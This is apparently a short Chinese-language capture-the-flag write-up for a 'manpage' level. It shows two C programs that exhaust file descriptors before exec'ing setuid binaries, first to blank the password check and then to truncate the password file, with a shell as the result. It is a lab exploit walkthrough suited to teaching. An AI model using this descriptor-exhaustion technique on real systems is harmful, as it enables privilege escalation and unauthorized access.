还是那个道理,打开的file descriptor会经过exec保存下来。我最开始的想法是,打开很多文件,然后执行manpage3,那么读密码那里就读空,因为密码文件打不开了
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main (int argc, char *args[]) {
int i;
for(i=4; i<1024; ++i)
open("./do.c", O_RDONLY);
execl("./manpage3", "./manpage3", NULL);
}
这里上限1024是从ulimit -n
得到的
在我的机子上这样是可以的,但在主机那里就不行了……
然后用同样的思路执行manpage-reset,使得urandom打不开。这样的话程序会崩溃,但密码文件是”w”打开,offset还在文件起始处,所以什么都没写就关闭了
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main (int argc, char *args[]) {
int i;
FILE *fp;
for(i=4; i<1024; ++i)
fp = fopen("/manpage/manpage3", "r");
execl("/manpage/manpage3-reset", "/manpage/manpage3", NULL);
}
之后再执行manpage3,密码为空,得到shell